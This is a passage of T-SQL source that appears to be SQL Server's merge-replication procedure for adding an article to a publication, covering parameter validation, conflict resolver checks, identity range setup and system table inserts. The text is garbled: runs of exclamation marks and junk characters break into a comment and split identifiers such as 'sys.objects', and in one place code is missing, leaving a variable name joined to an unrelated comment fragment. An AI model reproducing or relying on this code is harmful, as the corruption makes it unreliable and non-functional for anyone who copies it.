        select @identityrangemanagementoption = lower(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS)
    end

    if LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) <> 'auto' and (@identity_range is not NULL or @threshold is not NULL or @pub_identity_range is not NULL)
    begin
        raiserror(21282, 16, -1)
        return (1)
    end


    if LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) = 'auto'
    begin
        /*
        ** If you want to have identity support, @range and threshold!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{=*HRvH can not be NULL
        */
        if (@identity_range is NULL or @pub_identity_range is NULL)
        begin
            raiserror(21193, 16, -1)
            return (1)
        end

        if @compatlevel < 90 and @threshold is NULL
        begin
            raiserror(21193, 16, -1)
            return (1)
        end

        exec @retcode = sys.sp_MScheck_autoident_parameters
                                    @qualified_name,
                                    @pub_identity_range,
                                    @identity_range,
                                    @threshold

        if @retcode<>0 or @@error<>0
        begin
            raiserror(20707, 16, -1)
            return 1
        end

        select @ident_incr = IDENT_INCR(@qualified_name)
                
        select @identity_support = 1

        exec @retcode = sys.sp_MScompute_maxmin_identity @objid, @max_range output, @min_range output
        if @retcode<>0 or @@error<>0
        begin
            raiserror(20707, 16, -1)
            return 1
        end

        if @ident_incr < 0
        begin
            select @pub_identity_range = -1*@pub_identity_range
            select @identity_range = -1*@identity_range
        end
    end
    else
        select @identity_support = 0

    /*
    ** If the table contains one more columns of type bigint or sql_variant, 
    ** we bump up the backward compatibility level.
    */
    if EXISTS (SELECT * FROM sys.columns c WHERE c.object_id = @sync_objid
                AND (c.system_type_id = type_id('bigint') or c.system_type_id = type_id('sql_variant'))) and @compatlevel < 40
    begin
        raiserror(21357, 10, -1, @publication)
        select    @bump_to_80 = 1
    end

    /*
    ** 7.0 subscribers do not like data type 'timestamp'
    */
    if EXISTS (select * from sys.columns where object_id=@sync_objid and system_type_id = type_id('timestamp')) and @compatlevel < 40
    begin
        raiserror(21358, 10, -1, @publication)
        select @bump_to_80 = 1
    end
        
    /*
    ** Validate the column tracking
    */
    if @column_tracking IS NULL OR LOWER(@column_tracking collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@column_tracking')
        RETURN (1)
    END
    if LOWER(@column_tracking collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SET @column_tracking_id = 1
    else 
        SET @column_tracking_id = 0


    /*
    ** Check for partioned tables. Not supported when sync_mode is 1 (SSCE)
    */

    if @sync_mode = 1 
    begin
        -- Check if the table is partitioned.
        if exists (select * from (sys.indexes as i INNER JOIN sys.partition_schemes as ps
                                                              ON (i.data_space_id = ps.data_space_id))
                        where (i.object_id = object_id(@qualified_name)) and
                            (i.index_id IN (0,1)))  -- to ensure that we are dealing with tables
        begin
            RAISERROR (22534, 16, -1)
            RETURN (1)
        end        
    end
    
    /*
    ** Replication not supported on a table with columnstore index.
    */

    -- Check if the table has columnstore index.
    select TOP 1 @index_objid=object_id, @idxname=name from sys.indexes
                    where (object_id = @objid) and
                        (type = 5 or type = 6)
    if @index_objid is not NULL
    begin
        RAISERROR (35353, 16, -1, N'Replication', @idxname, @source_object)
        RETURN (1)
    end

    /*
    ** Parameter Check: @allow_interactive_resolver     
    */
    if LOWER(@allow_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@allow_interactive_resolver')
            RETURN (1)
        END
    if LOWER(@allow_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        set @allow_interactive_bit = 1
    else 
        set @allow_interactive_bit = 0
        
    /*
    ** Parameter Check: @published_in_tran_pub     
    */
    if LOWER(@published_in_tran_pub collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@published_in_tran_pub')
            RETURN (1)
        END
    if LOWER(@published_in_tran_pub collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        set @published_in_tran_pub_bit = 1
    END
    else 
        set @published_in_tran_pub_bit = 0

    /*
    ** Parameter Check: @fast_multicol_updateproc  
    */
    if LOWER(@fast_multicol_updateproc collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@fast_multicol_updateproc')
        RETURN (1)
    END
    if LOWER(@fast_multicol_updateproc collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        set @fast_multicol_updateproc_bit = 1
    else 
        set @fast_multicol_updateproc_bit = 0

    if @partition_options not in (0, 1, 2, 3)
    begin
        RAISERROR (22526, 16, -1, '@partition_options')
        RETURN (1)
    end

    if @partition_options in (1, 2, 3) and @compatlevel < 90
    begin
        raiserror(20681, 16, -1, @publication)
        return 1
    end    

    execute @retcode = sys.sp_MSgetreplnick @pubid = @pubid, @replnick = @replnick output
    if (@@error <> 0) or @retcode <> 0 or @replnick IS NULL 
    begin
        RAISERROR (14055, 11, -1)
        RETURN(1)
    end                    

    /*
    ** Validate the article resolver
    */
    if @article_resolver IS NOT NULL
    begin
        if @article_resolver = 'default' OR @article_resolver = ''
            begin
                select @article_resolver = NULL
                select @resolver_clsid = NULL
            end                    
        else
            begin
                EXECUTE @retcode = sys.sp_lookupcustomresolver @article_resolver, @resolver_clsid OUTPUT
                IF @retcode <> 0 or @resolver_clsid IS NULL
                BEGIN
                      RAISERROR (20020, 16, -1, @article_resolver)
                      RETURN (1)
                END
            end
    end

    /* 
    ** A resolver clsid of '00000000-0000-0000-0000-000000000000' indicates a .NET Assembly resolver , ensure that the 
    ** resolver_info contains the name of the class that implements the Microsoft.SqlServer.Replication.BusinessLogicSupport.BusinessLogicModule
    ** interface.    
    */
    IF @resolver_clsid = '00000000-0000-0000-0000-000000000000'
        begin
            declare @is_dotnet_assembly bit
            declare @dotnet_assembly_name nvarchar(255)
            declare @dotnet_class_name nvarchar(255)

            EXECUTE @retcode = sys.sp_lookupcustomresolver @article_resolver, @resolver_clsid OUTPUT, @is_dotnet_assembly OUTPUT, @dotnet_assembly_name OUTPUT, @dotnet_class_name OUTPUT
            if @dotnet_assembly_name IS NULL 
                begin
                    RAISERROR (21856, 16, -1, @article_resolver)
                    return (1)
                end
            if @dotnet_class_name IS NULL 
                begin
                    RAISERROR (21808, 16, -1, @article_resolver)
                    return (1)
                end
            select @article_resolver = @dotnet_assembly_name
            /* If passed in resolver_info contains a .NET class name, do not override it with the default */
            if @resolver_info is null
                select @resolver_info = @dotnet_class_name
        end


    /*
    ** If article resolver is 'SP resolver', make sure that resolver_info refers to an SP or XP;
    ** Also make sure it is stored with owner qualification
    */
    if    @article_resolver = @sp_resolver
        begin
            if not exists (select * from sys.objec!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{=.nvHts where object_id = object_id(@resolver_info) and ( type = 'P' or type = 'X'))
                begin
                    raiserror(21343, 16, -1, @resolver_info)
                    return (1)
                end
                
            select @sp_name = name, @sp_owner=SCHEMA_NAME(schema_id) from sys.objects where object_id = object_id(@resolver_info)
            select @resolver_info = QUOTENAME(@sp_owner) + '.' + QUOTENAME(@sp_name) 
        end

    /* The following resolvers expect the @resolver_info to be NON NULL */
    if    @article_resolver = @sp_resolver or 
        @article_resolver = @additive_resolver or
        @article_resolver = @average_resolver or
        @article_resolver = @minimum_resolver or
        @article_resolver = @maximum_resolver or
        @article_resolver = @mindate_resolver or
        @article_resolver = @maxdate_resolver or
        @article_resolver = @mergetxt_resolver or
        @article_resolver = @pricolumn_resolver
        begin
            if @resolver_info IS NULL 
                begin
                    RAISERROR (21301, 16, -1, @article_resolver)
                    return (1)
                end
        end
    /*
    ** If article resolver uses column names, make sure that resolver_info refers to a valid column.
    */
    if    @article_resolver = @pricolumn_resolver or
        @article_resolver = @additive_resolver or
        @article_resolver = @average_resolver or
        @article_resolver = @minimum_resolver or
        @article_resolver = @maximum_resolver
        begin
            if not exists (select * from sys.columns where object_id = @objid and name=@resolver_info)
                begin
                    RAISERROR (21501, 16, -1, @article_resolver)
                    return (1)
                end
        end
    /*
    ** If article resolver is 'mindate/maxdate resolver', make sure that resolver_info refers to a column that is of datatype 'datetime' or smalldatetime
    */
    if  @article_resolver = @mindate_resolver or
        @article_resolver = @maxdate_resolver
    begin
        if not exists (select * from sys.columns where object_id = @objid and name=@resolver_info and (system_type_id=type_id('datetime') or system_type_id=type_id('smalldatetime') 
           or system_type_id=type_id('datetime2')
           or system_type_id=type_id('date')
	    or system_type_id=type_id('time')
           )) /*need to add version condition >=100*/
        begin
            RAISERROR (21302, 16, -1, @article_resolver)
            return (1)
        end
    end

    /* The following resolvers expect the article to be column tracked - warn that the default resolver will be used */
    if    @article_resolver = @additive_resolver or
        @article_resolver = @average_resolver or
        @article_resolver = @mergetxt_resolver
    begin
        if @column_tracking_id = 0
        begin
            RAISERROR (21303, 10, -1, @article, @article_resolver)
        end
    end

    if @resolver_info IS NOT NULL and @article_resolver IS NULL
    begin
        RAISERROR (21300, 10, -1, @article)
        set @resolver_info = NULL
    end

    /*
    ** Parameter Check: logical_record_level_conflict_detection
    */
    if @column_tracking IS NULL OR LOWER(@logical_record_level_conflict_detection collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@logical_record_level_conflict_detection')
            RETURN (1)
        END
    if LOWER(@logical_record_level_conflict_detection collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SET @logical_record_level_conflict_detection_id = 1
    else 
        SET @logical_record_level_conflict_detection_id = 0
        
    /*
    ** Parameter Check: logical_record_level_conflict_resolution
    */
    if @column_tracking IS NULL OR LOWER(@logical_record_level_conflict_resolution collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@logical_record_level_conflict_resolution')
            RETURN (1)
        END
    if LOWER(@logical_record_level_conflict_resolution collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
        SET @logical_record_level_conflict_resolution_id = 1
    else 
        SET @logical_record_level_conflict_resolution_id = 0

    if @logical_record_level_conflict_detection_id = 1 and @logical_record_level_conflict_resolution_id = 0
    begin
        raiserror (21728, 16, -1)
        return 1
    end
    
    if @logical_record_level_conflict_detection_id = 1 or @logical_record_level_conflict_resolution_id = 1
    begin
		-- Only supported with publications that have 90 compatibility level.
		select top 1 @pubname_lessthan90compat = name from dbo.sysmergepublications 
		where backward_comp_level < 90
		and (pubid = @pubid or
			 pubid in 
				(select pubid from dbo.sysmergearticles where objid = @objid))
	        
		if @pubname_lessthan90compat is not null
		begin
			raiserror(21574, 16, -1, @article, @pubname_lessthan90compat)
			return 1
		end
		
		if exists (select * from dbo.sysmergepublications where pubid = @pubid and sync_mode = 1)
		begin
			raiserror(22541, 16, -1, @publication)
			return 1
		end
		
		if exists (select * from dbo.sysmergepublications where pubid = @pubid and allow_web_synchronization = 1)
		begin
			raiserror(22545, 16, -1, @publication)
			return 1
		end

		-- Cannot use Logical records and BusinessLogicResolvers at the same time.
		IF @resolver_clsid = '00000000-0000-0000-0000-000000000000'
        begin
			raiserror(20708, 16, -1)
			return 1
        end

		
		-- based on usability feeback, we should set the allow_subscriber_initiated_snapshot
		-- option to 1 rather than raise an error.
		update dbo.sysmergepublications set allow_subscriber_initiated_snapshot = 1
			where pubid = @pubid
	end
	
	/* Make sure that coltracking option matches */
    if exists (select * from dbo.sysmergearticles where objid = @objid and
            identity_support <> @identity_support)
    begin
        raiserror (21240, 16, -1, @source_object)
        return (1)
    end

    -- Do not allow the table to be published by both merge and queued tran
    if object_id('syspublications') is not NULL
    begin
        if exists (select * from syspublications p, sysarticles a where 
            p.allow_queued_tran = 1 and
            p.pubid = a.pubid and
            a.objid = @objid)
        begin
            select @obj_name = object_name(@objid)
            raiserror(21266, 16, -1, @obj_name)
            return (1)
        end

        -- Do not allow the table to be published in both merge tran using automatic identity range management
        if exists (select * from  sysarticles sa, sysarticleupdates au, syspublications pub where 
                sa.objid = @objid and
                au.artid = sa.artid and
                au.pubid = pub.pubid and
                au.identity_support = 1) and
           @identity_support = 1
        begin
            raiserror(20677, 16, -1, @article)
            return (1)
        end
    end
	--co-existance of uploadable merge article on queued subscription table may cause non-convergence in tran pub since queued trigger is NFR
	--allow it in case some customer rely on this already, write warning to errorlog so we can track this condition
	if (0 = @subscriber_upload_options) and (object_id('dbo.MSsubscription_articles') is not null)
	begin
		if exists(select * from dbo.MSsubscription_articles where object_id(quotename(owner) + N'.' + quotename(dest_table)) = @objid)
		begin
			select @obj_name = object_name(@objid)
			raiserror(21860, 10, -1, @obj_name, @db_name) WITH LOG
		end
	end
	
    if exists (select * from dbo.sysmergearticles where objid=@objid and sys.fn_MSmerge_islocalpubid(pubid)=1)
        select @already_published = 1

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
=TvH    if @already_published = 1 and LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) = 'auto'
    begin
        if @compatlevel < 40
        begin
            raiserror(21359, 10, -1, @publication)
            select @bump_to_80 = 1
        end
        if exists (select * from dbo.sysmergearticles where objid=@objid and sys.fn_MSmerge_islocalpubid(pubid)=1 and
            ((pub_range<>@pub_identity_range) or (range <> @identity_range) or (threshold <> @threshold)))
        begin
            raiserror(21291, 16, -1)
            return (1)
        end
    end

    if 0 <> @subscriber_upload_options and @compatlevel < 90
    begin
        raiserror(21522, 16, -1, 'subscriber_upload_options', @publication)
        return 1
    end

    --Do not allow the table to be published if it contains sparse columns or sparse column_set
    if exists (select * from sys.columns where object_id = @objid and (is_sparse = 1 or is_column_set=1) )
    begin
        raiserror(20738, 16, -1, @article);
        return (1)
    end
   

    /*
    **    Add article to dbo.sysmergearticles and update sys.objects category bit.
    */
    begin tran
    save TRAN sp_addmergearticle

    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(20713, 16, -1, 'sp_addmergearticle', @publication)
        goto FAILURE
    end

    select @got_merge_admin_applock = 1

    -- Parameter check @subset_filterclause
    if @subset_filterclause <> '' and @subset_filterclause is not NULL
    begin
        -- check if this is a dynamically filtered article and this is not a dynamically filtered publication
        select @article_has_dynamic_filters = 0
        exec @retcode = sys.sp_check_subset_filter 
                                @qualified_name, 
                                @subset_filterclause, 
                                @article_has_dynamic_filters output, 
                                @functions_in_subset_filter output
        if @retcode<>0 or @@ERROR<>0
        begin
            raiserror(20641, 16, -1)
            goto FAILURE
        end
        if @article_has_dynamic_filters = 1 and 
           (@publication_has_dynamic_filters = 0 or @functions_in_subset_filter <> @dynamic_filters_function_list)
        begin
            if @snapshot_ready > 0 and
               ((@allow_anonymous = 1 and @compatlevel < 90) or 
                 exists (select * from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and status=1)) and
               @force_reinit_subscription = 0
            begin
                raiserror(20642, 16, -1, @article, @subset_filterclause, @publication)
                goto FAILURE
            end
            select @reinit_subscriptions = 1
        end
        
        -- If the newly added article has dynamic filters and the publication is already using partition groups
        -- then setup the correct metadata in merge system tables  such that rerun of snapshot agent sets the partition groups metadata correctly
        if @article_has_dynamic_filters = 1 and @use_partition_groups > 0 and @functions_in_subset_filter <> @dynamic_filters_function_list
        begin
             if @use_partition_groups > 0
             begin
                 delete from dbo.MSmerge_current_partition_mappings where publication_number = @pub_number
                 if @@error <> 0 goto FAILURE
                 delete from dbo.MSmerge_past_partition_mappings where publication_number = @pub_number
                 if @@error <> 0 goto FAILURE
                 delete from dbo.MSmerge_generation_partition_mappings where publication_number = @pub_number
                 if @@error <> 0 goto FAILURE
                 update dbo.sysmergepublications set use_partition_groups = 2 where pubid = @pubid
                 if @@error <> 0 goto FAILURE
             end
             
             exec @retcode = sys.sp_MSdropmergedynamicsnapshotjob @publication = @publication
             if @@error <> 0 or @retcode <> 0
                 goto FAILURE
 
             delete from dbo.MSmerge_dynamic_snapshots where partition_id in
                 (select partition_id from dbo.MSmerge_partition_groups where publication_number = @pub_number)
             if @@error <> 0 goto FAILURE
                 
             delete from dbo.MSdynamicsnapshotjobs where partition_id in
                 (select partition_id from dbo.MSmerge_partition_groups where publication_number = @pub_number)
             if @@error <> 0 goto FAILURE
             
             delete from dbo.MSmerge_partition_groups where publication_number = @pub_number
             if @@error <> 0 goto FAILURE
 
             update dbo.sysmergepublications 
             set dynamic_filters_function_list = NULL,
                dynamic_filters = 0
                where pubid = @pubid
             if @@error <> 0 goto FAILURE
              
             -- Since this is called from sp_addmergearticle, make sure it doesn't raise errors since it is premature stage of the publication. 
             -- The snapshot calls this with @dont_raise_error = NULL which should raise appropriate errors
             exec @retcode = sys.sp_MSset_dynamic_filter_options @publication = @publication, @dynamic_filters = @publication_has_dynamic_filters OUTPUT, @dont_raise_error = 1
             if @retcode<>0 or @@ERROR<>0 goto FAILURE
       end              
    end

    /*
    ** We used to prevent an article from being added to a publication whose snapshot
    ** has been run already. Now we change this so that it is acceptable by doing reinit.
    */
    if @snapshot_ready > 0 
    begin
        if @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        begin
            raiserror(21364, 16, -1, @article)
            goto FAILURE
        end
        update dbo.sysmergepublications set snapshot_ready=2 where pubid=@pubid
        if @@ERROR<>0
            goto FAILURE
    end

    /* 
    ** article status 5 or 6 means there is at least one new article after snapshot is ready
    ** hence all articles added after that point will be new articles as well, regardless of snapshot_ready value.
    */
    if @snapshot_ready>0 or exists (select * from dbo.sysmergearticles where pubid=@pubid and (status=5 or status=6))
    begin
        select @needs_pickup=1
    end

    if @reinit_subscriptions = 1
    begin
        exec @retcode = sys.sp_MSreinitmergepublication 
                                @publication = @publication,
                                @upload_first = @automatic_reinitialization_policy
        if @retcode<>0 or @@ERROR<>0 return 1
    end

    -- if because this article is dynamically filtered the publication is going to change from being 
    -- a static to a dynamic publication, we need to delete all entries in sysmergeschemachange.
    if @publication_has_dynamic_filters = 0 and @article_has_dynamic_filters = 1
    begin
        declare @SCHEMA_TYPE_DROPARTICLE int

        select @SCHEMA_TYPE_DROPARTICLE = 28
        -- don't delete dropmergearticle related schema changes.
        delete from dbo.sysmergeschemachange where pubid = @pubid and schematype not in (@SCHEMA_TYPE_DROPARTICLE)
        if @reinit_subscriptions = 1
            select @needs_pickup = 0
    end

    -- Acquire sch-M lock up-front on the published object 
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    if @qualname is null
        goto FAILURE
            
    exec %%Object(MultiName = @qualname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
    --exec %%Object(MultiName = @qualname).LockExclusiveMatchID(ID = @objid)
    if @@error <> 0
        goto FAILURE

    select @artid = artid, 
           @preserve_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
=WcvHanything here. However, if @already_publisher is 0, this is a republisher 
        -- and we need to setup the ranges for the republished publication
        if LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) = 'auto' and @already_published = 0
        begin        
            if @compatlevel < 40
            begin
                raiserror(21359, 10, -1, @publication)
                select @bump_to_80 = 1
            end

            exec @retcode = sys.sp_MScheck_republisher_ranges @qualified_name, @artid, @pub_identity_range, @identity_range
            if @retcode<>0 or @@error<>0
                goto FAILURE
                
        end -- end identity range code
      
        /* Jump to end of transaction  */
        goto DONE_TRAN
    end

    /* Add the specific GUID based replication columns to dbo.sysmergearticles */
    insert into dbo.sysmergearticles (name, objid, sync_objid, artid, type, description, pubid, nickname, 
            column_tracking, status, schema_option, pre_creation_command, destination_object, destination_owner, 
            article_resolver, resolver_clsid, subset_filterclause, view_type, resolver_info, columns,
            missing_cols, missing_col_count, excluded_cols, excluded_col_count, identity_support,
            before_image_objid, before_view_objid, verify_resolver_signature, creation_script, allow_interactive_resolver, 
            fast_multicol_updateproc, check_permissions, processing_order, upload_options, published_in_tran_pub, before_upd_view_objid,
            delete_tracking, compensate_for_errors, pub_range, range, threshold, stream_blob_columns, preserve_rowguidcol)
    values (@article, @objid, @sync_objid, @artid, @typeid, @description, @pubid, @tablenick, 
            @column_tracking_id, @statusid, @schema_option, @precmdid, @destination_object, @destination_owner, 
            @article_resolver, @resolver_clsid, @subset_filterclause, 0, @resolver_info, NULL,
             0x00, 0, 0x00,0, @identity_support, NULL, NULL, @verify_resolver_signature, @creation_script, @allow_interactive_bit, 
             @fast_multicol_updateproc_bit, @check_permissions, @processing_order, @subscriber_upload_options, @published_in_tran_pub_bit, NULL,
             @deletetracking, @compensateforerrors, @pub_identity_range, @identity_range, @threshold, @stream_blob_columns_bit, @preserve_rowguidcol)
    if @@ERROR <> 0
        goto FAILURE

    insert into dbo.sysmergepartitioninfo (artid, pubid, logical_record_level_conflict_detection, logical_record_level_conflict_resolution, partition_options) 
        values (@artid, @pubid, @logical_record_level_conflict_detection_id, @logical_record_level_conflict_resolution_id, @partition_options)
    if @@error <> 0
        goto FAILURE

    /*
    ** identity range setup
    */
    if LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) = 'auto' and @already_published = 0
    begin
        declare @range_begin numeric(38,0)
        declare @range_end numeric(38,0)
        declare @next_range_begin numeric(38,0)
        declare @next_range_end numeric(38,0)

        if @compatlevel < 40
        begin
            raiserror(21359, 10, -1, @publication)
            select @bump_to_80 = 1
        end

        -- the following statement will ensure that the ident_curr in now equal to the highest values stored in the 
        -- identity column (lowest value for negative increments). This to account for incorrect reseeds
        -- IDENT_CURRENT Returns the last identity value generated for a specified table in any session and any scope. 
        DBCC CHECKIDENT(@qualified_name, RESEED) with no_infomsgs

        select @max_used = IDENT_CURRENT(@qualified_name)

        if @max_used is NULL
            select @max_used = IDENT_SEED(@qualified_name)

        -- max_used only matters in prepare merge article when we acually allocating a range        
        -- insert the publisher's entry into MSmerge_identity_range table
        -- set max_used to NULL hence
        if @ident_incr > 0
            insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, is_pub_range, max_used)
                values(@pubid, @artid, @max_used, @max_range, 1, NULL)
        else
            insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, is_pub_range, max_used)
                values(@pubid, @artid, @max_used, @min_range, 1, NULL)
        if @@error <> 0
            goto FAILURE
    end -- end identity range code
    
    -- need to validate well-partitioned articles even if this particular one
    -- may not be well-partitioned (e.g. with the same article already existing as well-partitioned
    -- in a different publication or subscription).    
    exec @retcode = sys.sp_MSvalidate_wellpartitioned_articles @publication
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
    
    exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
    if @retcode <> 0 or @@error <> 0
        goto FAILURE    

    exec %%Relation(ID = @objid).SetMergePublished(Value = 1 , SetColumns=0)
    if @@ERROR <> 0
        goto FAILURE

    /* set up the article's gen-cur */
    set @genguid = newid()
    set @dt = getdate()

    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 
        goto FAILURE

    /*
    ** If there are no zero generation tombstones or rows, add a dummy row in there. 
    */
    if not exists (select * from dbo.MSmerge_genhistory)
    begin
        begin tran

        set identity_insert dbo.MSmerge_genhistory on

        insert into dbo.MSmerge_genhistory (guidsrc, genstatus, generation, art_nick, nicknames, coldate) values
            (@genguid, 1, 1, 0, @replnick + 0xFF, @dt)
        if (@@error <> 0)
            goto FAILURE
            
        set identity_insert dbo.MSmerge_genhistory off

        commit tran
    end

    -- If the article status is active then prepare the article for merge replication
    -- For now, the rowguid column will be added at this time. This is needed until the merge partition group functionality has
    -- a way to defer the initial work done to set up the publication. 
    if @status = 'active' -- or exists (select * from dbo.sysmergepublications where pubid = @pubid and use_partition_groups = 1)
    begin
        /* Get a holdlock on the underlying table */
        select @cmd = 'select * into #tab1 from '
        select @cmd = @cmd + @qualified_name 
        select @cmd = @cmd + 'with (TABLOCK HOLDLOCK) where 1 = 2 '
        execute(@cmd)

        /* Add the guid column to the user table */
        execute @retcode = sys.sp_MSaddguidcolumn @source_owner, @source_object
        if @@ERROR <> 0 OR    @retcode <> 0  -- NOTE: new change
            goto FAILURE

        /* Create an index on the rowguid column in the user table */
        execute @retcode = sys.sp_MSaddguidindex @publication, @source_owner, @source_object
        if @@ERROR <> 0 OR @retcode <> 0
            goto FAILURE

        /* Create the merge triggers on the base table */
        execute @retcode = sys.sp_MSaddmergetriggers @qualified_name, NULL, @column_tracking_id
        if @@ERROR <> 0 OR @retcode <> 0
            goto FAILURE 

        /* Create the merge insert/update stored procedures for the base table */
        execute @retcode = sys.sp_MSsetartprocs @publication, @article, 0, @pubid
        if @@ERROR <> 0 OR @retcode <> 0
            goto FAILURE

        /* Set the article status to be active so that Snapshot does not do this again */
        select @statusid = 2 /* Active article */
        update dbo.sysmergearticles set status = @statusid where artid = @artid
        if @@ERROR <> 0 
            goto FAILURE
    end

DONE_TRAN:                

    if @needs_pickup=1
    begin
        declare @needs_pick_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
=I{"uHvalue int 
        select @needs_pick_value=5 --new_inactive status
        update dbo.sysmergearticles set status=@needs_pick_value where artid = @artid and pubid=@pubid
        if @@ERROR<>0
            goto FAILURE
    end

    /*
    ** Set all bits to '1' in the columns column to include all columns.
    */
    IF @ver_partition = 0 --meanning no vertical partition needed.
    BEGIN
        -- Indicate that this is an internal caller of sp_mergearticlecolumn
        EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
        IF @@ERROR <> 0 or @retcode <> 0
            goto FAILURE

        EXECUTE @retcode  = sys.sp_mergearticlecolumn @publication=@publication, @article=@article, @schema_replication='true'              
        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR(21198, 16, -1)
            goto FAILURE
        END

        -- Turn off indication that this is an internal caller of sp_mergearticlecolumn
        EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
        IF @@ERROR <> 0 or @retcode <> 0
            goto FAILURE

        -- check if table has filestream column
        if exists ( select * from sys.columns where object_id = @objid and is_filestream =1 )
            select @filestream_col_published = 1
    END

    /*
    **    Set all bits to '1' for all columns in the primary key.
    */
    ELSE
    BEGIN

        -- varbinary(max) filestream column cannot be a part of PK
        select @filestream_col_published = 0

        SELECT @indid = index_id FROM sys.indexes WHERE object_id = @objid AND is_primary_key <> 0    /* PK index */
        /*
        **  First we'll figure out what the keys are.
        */
        SELECT @i = 1
        WHILE (@i <= 16)
        BEGIN
            SELECT @pkkey = INDEX_COL(@qualified_name, @indid, @i)
            if @pkkey is NULL
                break
            EXECUTE @retcode  = sys.sp_mergearticlecolumn @publication, @article, @pkkey, 'add'
            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR(21198, 16, -1)
                goto FAILURE
            END            
            select @i = @i + 1
        END
        /*
        ** make sure any existing rowguidcol is in the partition. We can not live without it.
        */
        select @colname=NULL
        select @colname = name from sys.columns where object_id = @objid 
            and is_rowguidcol = 1
        if @colname is not NULL
        BEGIN
            EXECUTE @retcode  = sys.sp_mergearticlecolumn @publication, @article, @colname, 'add'
            if @@error<>0 or @retcode<>0
                goto FAILURE
        END

        /*
        ** If autoidentitymanagement make sure any existing rowguidcol is in the partition. We can not live without it.
        */
        if @identity_support = 1
        BEGIN
            select @colname=NULL
            select @colname = name from sys.columns where object_id = @objid 
                and is_identity = 1
            if @colname is not NULL
            BEGIN
                EXECUTE @retcode  = sys.sp_mergearticlecolumn @publication, @article, @colname, 'add'
                if @@error<>0 or @retcode<>0
                    goto FAILURE
            END
        END

        -- update the sysmergearticles entry to say that we are using vertical partitioning.
        update dbo.sysmergearticles set vertical_partition=1 where pubid=@pubid and artid=@artid
    END

    declare @schema_option_filestream int
    select @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
    select @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)
    select @schema_option_max_to_nonmax = 0x20000000 -- this has to be on  for < 90RTM
    select @schema_option_filestream = 0x00000001
   
    -- varbinary(max) column with filestream attribute cannot be converted to base type (image)
    -- irrespective of whether filestream is repl. as filestream or varbinary(max)
    if ( @filestream_col_published = 1 and (@schema_option_lodword & @schema_option_max_to_nonmax = @schema_option_max_to_nonmax))
    begin
        RAISERROR(22583, 16, -1, @article, @publication)
        goto FAILURE    
    end

    -- if compat level is Yukon and turn OFF the schema_option to replicate filestream attribute, if ON
    if ( @filestream_col_published = 1 and @compatlevel >= 90 and @compatlevel < 100 and  
    (@schema_option_hidword & @schema_option_filestream = @schema_option_filestream ))
    begin
        declare @schema_option_strg sysname
        select @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
        select @schema_option_hidword = @schema_option_hidword & ~( @schema_option_filestream)
        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
        UPDATE dbo.sysmergearticles SET schema_option = @schema_option WHERE artid = @artid AND pubid = @pubid
        select @schema_option_strg = sys.fn_varbintohexstr(@schema_option)
        RAISERROR (22584, 10, -1, @schema_option_strg)
    end


    exec @retcode = sys.sp_MSfillupmissingcols @publication, @qualified_name
    if @retcode<>0 or @@ERROR<>0
        goto FAILURE

    /*
    ** For articles with subset filter clause - set the pub type to subset
    */
    if len(@subset_filterclause) > 0
    begin
        execute @retcode = sys.sp_MSsubsetpublication @publication
        if @@ERROR <> 0 or @retcode<>0
            goto FAILURE
    end                        

    -- set up deleted col info
    declare @deleted_cols varbinary(128)
    execute sp_MSfillup_deleted_cols @objid, @deleted_cols output
    update dbo.sysmergearticles set deleted_cols=@deleted_cols 
        where artid = @artid and pubid=@pubid

    if @bump_to_80=1
    begin
